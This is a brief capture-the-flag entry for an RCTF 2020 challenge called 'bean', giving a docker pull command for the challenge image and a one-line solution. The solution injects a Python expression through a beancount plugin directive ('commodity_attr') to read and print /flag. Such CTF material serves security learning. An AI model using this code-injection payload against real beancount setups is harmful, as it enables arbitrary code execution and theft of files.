bean docker pull ghcr.io/zsxsoft/my-ctf-challenges:rctf2020-bean Solution plugin "beancount.plugins.commodity_attr" "__import__('sys').stdout.write(open('/flag').read())"